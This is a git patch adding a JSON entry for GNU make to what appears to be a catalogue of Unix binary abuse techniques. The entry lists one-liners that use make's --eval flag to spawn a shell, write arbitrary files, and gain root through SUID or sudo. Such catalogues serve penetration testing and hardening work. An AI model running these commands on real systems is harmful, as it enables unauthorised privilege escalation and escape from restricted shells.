From c12414e499da3a71f9619041f7c720dc8df62878 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 09:37:08 +0100 Subject: [PATCH] add data for make --- data/make.json | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 data/make.json diff --git a/data/make.json b/data/make.json new file mode 100644 index 0000000..1860ec8 --- /dev/null +++ b/data/make.json @@ -0,0 +1,26 @@ +{ + "description": "All these examples only work with GNU 'make' due to the lack of support of the '--eval' flag. The same can be achieved by using a proper 'Makefile' or by passing the content via stdin using '-f -'.", + "functions": { + "shell": [ + { + "code": "make -s --eval=$'x:\\n\\t-'\"/bin/sh\"\n" + } + ], + "file-write": [ + { + "description": "Requires a newer GNU 'make' version.", + "code": "make -s --eval=\"\\$(file >[file],DATA)\" .\n" + } + ], + "suid": [ + { + "code": "./make -s --eval=$'x:\\n\\t-'\"/bin/sh -p\"\n" + } + ], + "sudo": [ + { + "code": "sudo make -s --eval=$'x:\\n\\t-'\"/bin/sh\"\n" + } + ] + } +} \ No newline at end of file